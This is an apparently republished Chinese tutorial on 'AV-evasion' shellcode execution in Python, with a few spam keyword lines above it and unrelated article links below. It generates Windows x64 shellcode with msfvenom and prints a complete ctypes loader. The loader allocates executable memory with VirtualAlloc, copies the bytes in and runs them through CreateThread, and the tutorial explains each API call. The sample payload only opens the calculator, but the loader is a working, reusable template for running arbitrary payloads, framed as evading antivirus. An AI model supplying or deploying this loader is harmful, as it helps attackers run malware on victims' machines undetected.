欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python免殺技術(shù)shellcode的加載與執(zhí)行

 更新時間:2023年04月11日 09:29:12   作者:p0inter  
本文主要介紹了python免殺技術(shù)shellcode的加載與執(zhí)行,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧

0x01 生成shellcode

首先通過下列命令生成一個shellcode,使用msfvenom -p選項來指定paylaod,這里選用windows/x64、exec模塊接收的參數(shù)。使用calc.exe執(zhí)行彈出計算器的操作。-f選項用來執(zhí)行生成的shellcdoe的編譯語言。

msfvenom -p windows/x64/exec CMD='calc.exe' -f py

在這里插入圖片描述

0x02 加載與執(zhí)行shellcode的程序

程序為:

# -*- coding:utf-8 -*-

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重載函數(shù)返回類型為void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請內(nèi)存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請的內(nèi)存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程
    WaitForSingleObject(c_int(h),c_int(-1))#檢測線程創(chuàng)建事件

if __name__ == "__main__":
    run1()

0x03 程序解釋

導入模塊,并且程序分配內(nèi)存還有可進行讀寫操作。

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

區(qū)域可執(zhí)行代碼,可讀可寫

PAGE_EXECUTE_READWRITE = 0x00000040

分配內(nèi)存

MEM_COMMIT = 0x3000

給予進程所有權(quán)限

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

調(diào)用windows api

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

將前面生成的shellcode賦值給shellcode參數(shù),賦值前使用bytearray函數(shù)處理

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

創(chuàng)建一個方法并調(diào)用,申請內(nèi)存,將shellcode指向分配的內(nèi)存指針,再復(fù)制shellcode到內(nèi)存中,創(chuàng)建線程事件并執(zhí)行:

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重載函數(shù)返回類型為void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請內(nèi)存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請的內(nèi)存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程
    WaitForSingleObject(c_int(h),c_int(-1))#檢測線程創(chuàng)建事件

VirtualAlloc是用來申請內(nèi)存空間,是一個Windows API函數(shù),它的聲明為:

LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的內(nèi)存區(qū)域的地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的類型
DWORD flProtect // 該內(nèi)存的初始保護屬性
};

RtlMoveMemory從指定內(nèi)存中復(fù)制內(nèi)存至另一內(nèi)存里.語法為:

VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);

參數(shù):

Destination :指向移動目的地址的指針。
Source :指向要復(fù)制的內(nèi)存地址的指針。
Length :指定要復(fù)制的字節(jié)數(shù)。

CreateThread是一種微軟在Windows API中提供了建立新的線程的函數(shù),該函數(shù)在主線程的基礎(chǔ)上創(chuàng)建一個新線程。
函數(shù)原型:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)

參數(shù)意義

  • lpThreadAttributes:指向SECURITY_ATTRIBUTES型態(tài)的結(jié)構(gòu)的指針。在Windows 98中忽略該參數(shù)。在Windows NT中,NULL使用默認安全性,不可以被子線程繼承,否則需要定義一個結(jié)構(gòu)體將它的bInheritHandle成員初始化為TRUE。
  • dwStackSize,設(shè)置初始棧的大小,以字節(jié)為單位,如果為0,那么默認將使用與調(diào)用該函數(shù)的線程相同的??臻g大小。任何情況下,Windows根據(jù)需要動態(tài)延長堆棧的大小。
  • lpStartAddress,指向線程函數(shù)的指針,形式:@函數(shù)名,函數(shù)名稱沒有限制
  • lpParameter:向線程函數(shù)傳遞的參數(shù),是一個指向結(jié)構(gòu)的指針,不需傳遞參數(shù)時,為NULL。
  • dwCreationFlags :線程標志,可取值如下
    • (1)CREATE_SUSPENDED(0x00000004):創(chuàng)建一個掛起的線程,
    • (2)0:表示創(chuàng)建后立即激活。
    • (3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize參數(shù)指定初始的保留堆棧 的大小,否則,dwStackSize指定提交的大小。該標記值在Windows 2000/NT and Windows Me/98/95上不支持。
  • lpThreadId:保存新線程的id。
    • WaitForSingleObject是一種Windows API函數(shù)。當?shù)却栽趻炱馉顟B(tài)時,句柄被關(guān)閉,那么函數(shù)行為是未定義的。該句柄必須具有 SYNCHRONIZE 訪問權(quán)限。

聲明:

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);

hHandle[in]對象句柄。可以指定一系列的對象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。

dwMilliseconds[in]定時時間間隔,單位為milliseconds(毫秒).如果指定一個非零值,函數(shù)處于等待狀態(tài)直到hHandle標記的對象被觸發(fā),或者時間到了。如果dwMilliseconds為0,對象沒有被觸發(fā)信號,函數(shù)不會進入一個等待狀態(tài),它總是立即返回。如果dwMilliseconds為INFINITE,對象被觸發(fā)信號后,函數(shù)才會返回。

運行程序可以成功彈出計算器。

在這里插入圖片描述

到此這篇關(guān)于python免殺技術(shù)shellcode的加載與執(zhí)行的文章就介紹到這了,更多相關(guān)python shellcode加載與執(zhí)行內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python腳本框架webpy模板控制結(jié)構(gòu)

    python腳本框架webpy模板控制結(jié)構(gòu)

    這篇文章主要為大家介紹了python腳本框架webpy模板控制結(jié)構(gòu)示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步
    2021-11-11
  • python中f‘{}‘用法小結(jié)

    python中f‘{}‘用法小結(jié)

    這篇文章主要介紹了python中f‘{}‘用法,f’{}’用法等同于 format用法的簡單使用,更加方便,本文給大家詳細講解,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2023-03-03
  • 安裝pycurl報錯Could not run curl-config: 'curl-config'

    安裝pycurl報錯Could not run curl-config: &ap

    這篇文章主要為大家介紹了安裝pycurl報錯Could not run curl-config: 'curl-config'解決方法,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-12-12
  • Scipy稀疏矩陣bsr_array的使用

    Scipy稀疏矩陣bsr_array的使用

    本文主要介紹了Scipy稀疏矩陣bsr_array的使用,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2023-02-02
  • 基于Python制作三款起床鬧鐘的示例代碼

    基于Python制作三款起床鬧鐘的示例代碼

    每天上班最痛苦的事情就是早起早起早起!這是大部分上班族的痛苦,但是不上班又是不可能的啦,因為都是為了搞錢。本文用Python制作了三款有趣的鬧鐘,感興趣的可以學習一下
    2022-05-05
  • pytest實戰(zhàn)技巧之參數(shù)化基本用法和多種方式

    pytest實戰(zhàn)技巧之參數(shù)化基本用法和多種方式

    本文介紹了pytest參數(shù)化的基本用法和多種方式,幫助讀者更好地使用這個功能,同時,還介紹了一些高級技巧,如動態(tài)生成參數(shù)名稱、參數(shù)化的組合和動態(tài)生成參數(shù)化裝飾器,幫助讀者更靈活地使用參數(shù)化,感興趣的朋友參考下吧
    2023-12-12
  • windows中安裝Python3.8.0的實現(xiàn)方法

    windows中安裝Python3.8.0的實現(xiàn)方法

    這篇文章主要介紹了windows中安裝Python3.8.0的實現(xiàn)方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2019-11-11
  • python3 sorted 如何實現(xiàn)自定義排序標準

    python3 sorted 如何實現(xiàn)自定義排序標準

    這篇文章主要介紹了python3 sorted 如何實現(xiàn)自定義排序標準,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-03-03
  • 理想高通濾波實現(xiàn)Python opencv示例

    理想高通濾波實現(xiàn)Python opencv示例

    今天小編就為大家分享一篇關(guān)于理想高通濾波實現(xiàn)Python opencv示例,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2019-01-01
  • python正則表達式中的括號匹配問題

    python正則表達式中的括號匹配問題

    這篇文章主要介紹了python正則表達式中的括號匹配問題,需要的朋友可以參考下
    2014-12-12

最新評論